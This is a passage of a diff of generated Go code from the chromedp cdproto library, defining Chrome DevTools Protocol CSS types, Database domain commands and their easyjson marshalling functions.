Important bool `json:"important,omitempty"` // Whether the property has "!important" annotation (implies false if absent).
|
||||
Implicit bool `json:"implicit,omitempty"` // Whether the property is implicit (implies false if absent).
|
||||
Text string `json:"text,omitempty"` // The full property text as specified in the style.
|
||||
ParsedOk bool `json:"parsedOk,omitempty"` // Whether the property is understood by the browser (implies true if absent).
|
||||
Disabled bool `json:"disabled,omitempty"` // Whether the property is disabled by the user (present for source-based properties only).
|
||||
Range *SourceRange `json:"range,omitempty"` // The entire property range in the enclosing style declaration (if available).
|
||||
LonghandProperties []*Property `json:"longhandProperties,omitempty"` // Parsed longhand components of this property if it is a shorthand. This field will be empty if the given property is not a shorthand.
|
||||
}
|
||||
|
||||
// Media CSS media rule descriptor.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSMedia
|
||||
type Media struct {
|
||||
Text string `json:"text"` // Media query text.
|
||||
Source MediaSource `json:"source"` // Source of the media query: "mediaRule" if specified by a @media rule, "importRule" if specified by an @import rule, "linkedSheet" if specified by a "media" attribute in a linked stylesheet's LINK tag, "inlineSheet" if specified by a "media" attribute in an inline stylesheet's STYLE tag.
|
||||
SourceURL string `json:"sourceURL,omitempty"` // URL of the document containing the media query description.
|
||||
Range *SourceRange `json:"range,omitempty"` // The associated rule (@media or @import) header range in the enclosing stylesheet (if available).
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
|
||||
MediaList []*MediaQuery `json:"mediaList,omitempty"` // Array of media queries.
|
||||
}
|
||||
|
||||
// MediaQuery media query descriptor.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-MediaQuery
|
||||
type MediaQuery struct {
|
||||
Expressions []*MediaQueryExpression `json:"expressions"` // Array of media query expressions.
|
||||
Active bool `json:"active"` // Whether the media query condition is satisfied.
|
||||
}
|
||||
|
||||
// MediaQueryExpression media query expression descriptor.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-MediaQueryExpression
|
||||
type MediaQueryExpression struct {
|
||||
Value float64 `json:"value"` // Media query expression value.
|
||||
Unit string `json:"unit"` // Media query expression units.
|
||||
Feature string `json:"feature"` // Media query expression feature.
|
||||
ValueRange *SourceRange `json:"valueRange,omitempty"` // The associated range of the value text in the enclosing stylesheet (if available).
|
||||
ComputedLength float64 `json:"computedLength,omitempty"` // Computed length of media query expression (if applicable).
|
||||
}
|
||||
|
||||
// ContainerQuery CSS container query rule descriptor.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSContainerQuery
|
||||
type ContainerQuery struct {
|
||||
Text string `json:"text"` // Container query text.
|
||||
Range *SourceRange `json:"range,omitempty"` // The associated rule header range in the enclosing stylesheet (if available).
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
|
||||
Name string `json:"name,omitempty"` // Optional name for the container.
|
||||
}
|
||||
|
||||
// Supports CSS Supports at-rule descriptor.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSSupports
|
||||
type Supports struct {
|
||||
Text string `json:"text"` // Supports rule text.
|
||||
Active bool `json:"active"` // Whether the supports condition is satisfied.
|
||||
Range *SourceRange `json:"range,omitempty"` // The associated rule header range in the enclosing stylesheet (if available).
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
|
||||
}
|
||||
|
||||
// Scope CSS Scope at-rule descriptor.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSScope
|
||||
type Scope struct {
|
||||
Text string `json:"text"` // Scope rule text.
|
||||
Range *SourceRange `json:"range,omitempty"` // The associated rule header range in the enclosing stylesheet (if available).
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
|
||||
}
|
||||
|
||||
// Layer CSS Layer at-rule descriptor.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSLayer
|
||||
type Layer struct {
|
||||
Text string `json:"text"` // Layer name.
|
||||
Range *SourceRange `json:"range,omitempty"` // The associated rule header range in the enclosing stylesheet (if available).
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
|
||||
}
|
||||
|
||||
// LayerData CSS Layer data.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSLayerData
|
||||
type LayerData struct {
|
||||
Name string `json:"name"` // Layer name.
|
||||
SubLayers []*LayerData `json:"subLayers,omitempty"` // Direct sub-layers
|
||||
Order float64 `json:"order"` // Layer order. The order determines the order of the layer in the cascade order. A higher number has higher priority in the cascade order.
|
||||
}
|
||||
|
||||
// PlatformFontUsage information about amount of glyphs that were rendered
|
||||
// with given font.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-PlatformFontUsage
|
||||
type PlatformFontUsage struct {
|
||||
FamilyName string `json:"familyName"` // Font's family name reported by platform.
|
||||
IsCustomFont bool `json:"isCustomFont"` // Indicates if the font was downloaded or resolved locally.
|
||||
GlyphCount float64 `json:"glyphCount"` // Amount of glyphs that were rendered with this font.
|
||||
}
|
||||
|
||||
// FontVariationAxis information about font variation axes for variable
|
||||
// fonts.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-FontVariationAxis
|
||||
type FontVariationAxis struct {
|
||||
Tag string `json:"tag"` // The font-variation-setting tag (a.k.a. "axis tag").
|
||||
Name string `json:"name"` // Human-readable variation name in the default language (normally, "en").
|
||||
MinValue float64 `json:"minValue"` // The minimum value (inclusive) the font supports for this tag.
|
||||
MaxValue float64 `json:"maxValue"` // The maximum value (inclusive) the font supports for this tag.
|
||||
DefaultValue float64 `json:"defaultValue"` // The default value.
|
||||
}
|
||||
|
||||
// FontFace properties of a web font:
|
||||
// https://www.w3.org/TR/2008/REC-CSS2-20080411/fonts.html#font-descriptions and
|
||||
// additional information such as platformFontFamily and fontVariationAxes.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-FontFace
|
||||
type FontFace struct {
|
||||
FontFamily string `json:"fontFamily"` // The font-family.
|
||||
FontStyle string `json:"fontStyle"` // The font-style.
|
||||
FontVariant string `json:"fontVariant"` // The font-variant.
|
||||
FontWeight string `json:"fontWeight"` // The font-weight.
|
||||
FontStretch string `json:"fontStretch"` // The font-stretch.
|
||||
FontDisplay string `json:"fontDisplay"` // The font-display.
|
||||
UnicodeRange string `json:"unicodeRange"` // The unicode-range.
|
||||
Src string `json:"src"` // The src.
|
||||
PlatformFontFamily string `json:"platformFontFamily"` // The resolved platform font family
|
||||
FontVariationAxes []*FontVariationAxis `json:"fontVariationAxes,omitempty"` // Available variation settings (a.k.a. "axes").
|
||||
}
|
||||
|
||||
// KeyframesRule CSS keyframes rule representation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSKeyframesRule
|
||||
type KeyframesRule struct {
|
||||
AnimationName *Value `json:"animationName"` // Animation name.
|
||||
Keyframes []*KeyframeRule `json:"keyframes"` // List of keyframes.
|
||||
}
|
||||
|
||||
// KeyframeRule CSS keyframe rule representation.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSKeyframeRule
|
||||
type KeyframeRule struct {
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // The css style sheet identifier (absent for user agent stylesheet and user-specified stylesheet rules) this rule came from.
|
||||
Origin StyleSheetOrigin `json:"origin"` // Parent stylesheet's origin.
|
||||
KeyText *Value `json:"keyText"` // Associated key text.
|
||||
Style *Style `json:"style"` // Associated style declaration.
|
||||
}
|
||||
|
||||
// StyleDeclarationEdit a descriptor of operation to mutate style declaration
|
||||
// text.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-StyleDeclarationEdit
|
||||
type StyleDeclarationEdit struct {
|
||||
StyleSheetID StyleSheetID `json:"styleSheetId"` // The css style sheet identifier.
|
||||
Range *SourceRange `json:"range"` // The range of the style text in the enclosing stylesheet.
|
||||
Text string `json:"text"` // New style text.
|
||||
}
|
||||
|
||||
// MediaSource source of the media query: "mediaRule" if specified by a
|
||||
// @media rule, "importRule" if specified by an @import rule, "linkedSheet" if
|
||||
// specified by a "media" attribute in a linked stylesheet's LINK tag,
|
||||
// "inlineSheet" if specified by a "media" attribute in an inline stylesheet's
|
||||
// STYLE tag.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSMedia
|
||||
type MediaSource string
|
||||
|
||||
// String returns the MediaSource as string value.
|
||||
func (t MediaSource) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// MediaSource values.
|
||||
const (
|
||||
MediaSourceMediaRule MediaSource = "mediaRule"
|
||||
MediaSourceImportRule MediaSource = "importRule"
|
||||
MediaSourceLinkedSheet MediaSource = "linkedSheet"
|
||||
MediaSourceInlineSheet MediaSource = "inlineSheet"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t MediaSource) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t MediaSource) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *MediaSource) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch MediaSource(in.String()) {
|
||||
case MediaSourceMediaRule:
|
||||
*t = MediaSourceMediaRule
|
||||
case MediaSourceImportRule:
|
||||
*t = MediaSourceImportRule
|
||||
case MediaSourceLinkedSheet:
|
||||
*t = MediaSourceLinkedSheet
|
||||
case MediaSourceInlineSheet:
|
||||
*t = MediaSourceInlineSheet
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown MediaSource value"))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *MediaSource) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
+141
@@ -0,0 +1,141 @@
|
||||
// Package database provides the Chrome DevTools Protocol
|
||||
// commands, types, and events for the Database domain.
|
||||
//
|
||||
// Generated by the cdproto-gen command.
|
||||
package database
|
||||
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/mailru/easyjson"
|
||||
)
|
||||
|
||||
// DisableParams disables database tracking, prevents database events from
|
||||
// being sent to the client.
|
||||
type DisableParams struct{}
|
||||
|
||||
// Disable disables database tracking, prevents database events from being
|
||||
// sent to the client.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#method-disable
|
||||
func Disable() *DisableParams {
|
||||
return &DisableParams{}
|
||||
}
|
||||
|
||||
// Do executes Database.disable against the provided context.
|
||||
func (p *DisableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandDisable, nil, nil)
|
||||
}
|
||||
|
||||
// EnableParams enables database tracking, database events will now be
|
||||
// delivered to the client.
|
||||
type EnableParams struct{}
|
||||
|
||||
// Enable enables database tracking, database events will now be delivered to
|
||||
// the client.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#method-enable
|
||||
func Enable() *EnableParams {
|
||||
return &EnableParams{}
|
||||
}
|
||||
|
||||
// Do executes Database.enable against the provided context.
|
||||
func (p *EnableParams) Do(ctx context.Context) (err error) {
|
||||
return cdp.Execute(ctx, CommandEnable, nil, nil)
|
||||
}
|
||||
|
||||
// ExecuteSQLParams [no description].
|
||||
type ExecuteSQLParams struct {
|
||||
DatabaseID ID `json:"databaseId"`
|
||||
Query string `json:"query"`
|
||||
}
|
||||
|
||||
// ExecuteSQL [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#method-executeSQL
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// databaseID
|
||||
// query
|
||||
func ExecuteSQL(databaseID ID, query string) *ExecuteSQLParams {
|
||||
return &ExecuteSQLParams{
|
||||
DatabaseID: databaseID,
|
||||
Query: query,
|
||||
}
|
||||
}
|
||||
|
||||
// ExecuteSQLReturns return values.
|
||||
type ExecuteSQLReturns struct {
|
||||
ColumnNames []string `json:"columnNames,omitempty"`
|
||||
Values []easyjson.RawMessage `json:"values,omitempty"`
|
||||
SQLError *Error `json:"sqlError,omitempty"`
|
||||
}
|
||||
|
||||
// Do executes Database.executeSQL against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// columnNames
|
||||
// values
|
||||
// sqlError
|
||||
func (p *ExecuteSQLParams) Do(ctx context.Context) (columnNames []string, values []easyjson.RawMessage, sqlError *Error, err error) {
|
||||
// execute
|
||||
var res ExecuteSQLReturns
|
||||
err = cdp.Execute(ctx, CommandExecuteSQL, p, &res)
|
||||
if err != nil {
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
|
||||
return res.ColumnNames, res.Values, res.SQLError, nil
|
||||
}
|
||||
|
||||
// GetDatabaseTableNamesParams [no description].
|
||||
type GetDatabaseTableNamesParams struct {
|
||||
DatabaseID ID `json:"databaseId"`
|
||||
}
|
||||
|
||||
// GetDatabaseTableNames [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#method-getDatabaseTableNames
|
||||
//
|
||||
// parameters:
|
||||
//
|
||||
// databaseID
|
||||
func GetDatabaseTableNames(databaseID ID) *GetDatabaseTableNamesParams {
|
||||
return &GetDatabaseTableNamesParams{
|
||||
DatabaseID: databaseID,
|
||||
}
|
||||
}
|
||||
|
||||
// GetDatabaseTableNamesReturns return values.
|
||||
type GetDatabaseTableNamesReturns struct {
|
||||
TableNames []string `json:"tableNames,omitempty"`
|
||||
}
|
||||
|
||||
// Do executes Database.getDatabaseTableNames against the provided context.
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// tableNames
|
||||
func (p *GetDatabaseTableNamesParams) Do(ctx context.Context) (tableNames []string, err error) {
|
||||
// execute
|
||||
var res GetDatabaseTableNamesReturns
|
||||
err = cdp.Execute(ctx, CommandGetDatabaseTableNames, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return res.TableNames, nil
|
||||
}
|
||||
|
||||
// Command names.
|
||||
const (
|
||||
CommandDisable = "Database.disable"
|
||||
CommandEnable = "Database.enable"
|
||||
CommandExecuteSQL = "Database.executeSQL"
|
||||
CommandGetDatabaseTableNames = "Database.getDatabaseTableNames"
|
||||
)
|
||||
+770
@@ -0,0 +1,770 @@
|
||||
// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT.
|
||||
|
||||
package database
|
||||
|
||||
import (
|
||||
json "encoding/json"
|
||||
easyjson "github.com/mailru/easyjson"
|
||||
jlexer "github.com/mailru/easyjson/jlexer"
|
||||
jwriter "github.com/mailru/easyjson/jwriter"
|
||||
)
|
||||
|
||||
// suppress unused package warning
|
||||
var (
|
||||
_ *json.RawMessage
|
||||
_ *jlexer.Lexer
|
||||
_ *jwriter.Writer
|
||||
_ easyjson.Marshaler
|
||||
)
|
||||
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase(in *jlexer.Lexer, out *GetDatabaseTableNamesReturns) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "tableNames":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.TableNames = nil
|
||||
} else {
|
||||
in.Delim('[')
|
||||
if out.TableNames == nil {
|
||||
if !in.IsDelim(']') {
|
||||
out.TableNames = make([]string, 0, 4)
|
||||
} else {
|
||||
out.TableNames = []string{}
|
||||
}
|
||||
} else {
|
||||
out.TableNames = (out.TableNames)[:0]
|
||||
}
|
||||
for !in.IsDelim(']') {
|
||||
var v1 string
|
||||
v1 = string(in.String())
|
||||
out.TableNames = append(out.TableNames, v1)
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim(']')
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase(out *jwriter.Writer, in GetDatabaseTableNamesReturns) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
if len(in.TableNames) != 0 {
|
||||
const prefix string = ",\"tableNames\":"
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
{
|
||||
out.RawByte('[')
|
||||
for v2, v3 := range in.TableNames {
|
||||
if v2 > 0 {
|
||||
out.RawByte(',')
|
||||
}
|
||||
out.String(string(v3))
|
||||
}
|
||||
out.RawByte(']')
|
||||
}
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v GetDatabaseTableNamesReturns) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v GetDatabaseTableNamesReturns) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *GetDatabaseTableNamesReturns) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *GetDatabaseTableNamesReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase1(in *jlexer.Lexer, out *GetDatabaseTableNamesParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "databaseId":
|
||||
out.DatabaseID = ID(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase1(out *jwriter.Writer, in GetDatabaseTableNamesParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"databaseId\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.DatabaseID))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v GetDatabaseTableNamesParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase1(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v GetDatabaseTableNamesParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase1(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *GetDatabaseTableNamesParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase1(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *GetDatabaseTableNamesParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase1(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase2(in *jlexer.Lexer, out *ExecuteSQLReturns) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "columnNames":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.ColumnNames = nil
|
||||
} else {
|
||||
in.Delim('[')
|
||||
if out.ColumnNames == nil {
|
||||
if !in.IsDelim(']') {
|
||||
out.ColumnNames = make([]string, 0, 4)
|
||||
} else {
|
||||
out.ColumnNames = []string{}
|
||||
}
|
||||
} else {
|
||||
out.ColumnNames = (out.ColumnNames)[:0]
|
||||
}
|
||||
for !in.IsDelim(']') {
|
||||
var v4 string
|
||||
v4 = string(in.String())
|
||||
out.ColumnNames = append(out.ColumnNames, v4)
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim(']')
|
||||
}
|
||||
case "values":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.Values = nil
|
||||
} else {
|
||||
in.Delim('[')
|
||||
if out.Values == nil {
|
||||
if !in.IsDelim(']') {
|
||||
out.Values = make([]easyjson.RawMessage, 0, 2)
|
||||
} else {
|
||||
out.Values = []easyjson.RawMessage{}
|
||||
}
|
||||
} else {
|
||||
out.Values = (out.Values)[:0]
|
||||
}
|
||||
for !in.IsDelim(']') {
|
||||
var v5 easyjson.RawMessage
|
||||
(v5).UnmarshalEasyJSON(in)
|
||||
out.Values = append(out.Values, v5)
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim(']')
|
||||
}
|
||||
case "sqlError":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.SQLError = nil
|
||||
} else {
|
||||
if out.SQLError == nil {
|
||||
out.SQLError = new(Error)
|
||||
}
|
||||
(*out.SQLError).UnmarshalEasyJSON(in)
|
||||
}
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase2(out *jwriter.Writer, in ExecuteSQLReturns) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
if len(in.ColumnNames) != 0 {
|
||||
const prefix string = ",\"columnNames\":"
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
{
|
||||
out.RawByte('[')
|
||||
for v6, v7 := range in.ColumnNames {
|
||||
if v6 > 0 {
|
||||
out.RawByte(',')
|
||||
}
|
||||
out.String(string(v7))
|
||||
}
|
||||
out.RawByte(']')
|
||||
}
|
||||
}
|
||||
if len(in.Values) != 0 {
|
||||
const prefix string = ",\"values\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
{
|
||||
out.RawByte('[')
|
||||
for v8, v9 := range in.Values {
|
||||
if v8 > 0 {
|
||||
out.RawByte(',')
|
||||
}
|
||||
(v9).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte(']')
|
||||
}
|
||||
}
|
||||
if in.SQLError != nil {
|
||||
const prefix string = ",\"sqlError\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
(*in.SQLError).MarshalEasyJSON(out)
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v ExecuteSQLReturns) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase2(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v ExecuteSQLReturns) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase2(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *ExecuteSQLReturns) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase2(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *ExecuteSQLReturns) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase2(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase3(in *jlexer.Lexer, out *ExecuteSQLParams) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "databaseId":
|
||||
out.DatabaseID = ID(in.String())
|
||||
case "query":
|
||||
out.Query = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim('}')
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
}
|
||||
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase3(out *jwriter.Writer, in ExecuteSQLParams) {
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
{
|
||||
const prefix string = ",\"databaseId\":"
|
||||
out.RawString(prefix[1:])
|
||||
out.String(string(in.DatabaseID))
|
||||
}
|
||||
{
|
||||
const prefix string = ",\"query\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.Query))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
// MarshalJSON supports json.Marshaler interface
|
||||
func (v ExecuteSQLParams) MarshalJSON() ([]byte, error) {
|
||||
w := jwriter.Writer{}
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase3(&w, v)
|
||||
return w.Buffer.BuildBytes(), w.Error
|
||||
}
|
||||
|
||||
// MarshalEasyJSON supports easyjson.Marshaler interface
|
||||
func (v ExecuteSQLParams) MarshalEasyJSON(w *jwriter.Writer) {
|
||||
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDatabase3(w, v)
|
||||
}
|
||||
|
||||
// UnmarshalJSON supports json.Unmarshaler interface
|
||||
func (v *ExecuteSQLParams) UnmarshalJSON(data []byte) error {
|
||||
r := jlexer.Lexer{Data: data}
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase3(&r, v)
|
||||
return r.Error()
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
|
||||
func (v *ExecuteSQLParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
|
||||
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase3(l, v)
|
||||
}
|
||||
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDatabase4(in *jlexer.Lexer, out *EventAddDatabase) {
|
||||
isTopLevel := in.IsStart()
|
||||
if in.IsNull() {
|
||||
if isTopLevel {
|
||||
in.Consumed()
|
||||
}
|
||||
in.Skip()
|
||||
return
|
||||
}
|
||||
in.Delim('{')
|
||||
for !in.IsDelim('}') {
|
||||
key := in.UnsafeFieldName(false)
|
||||
in.WantColon()
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
in.WantComma()
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "database":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.Database = nil
|
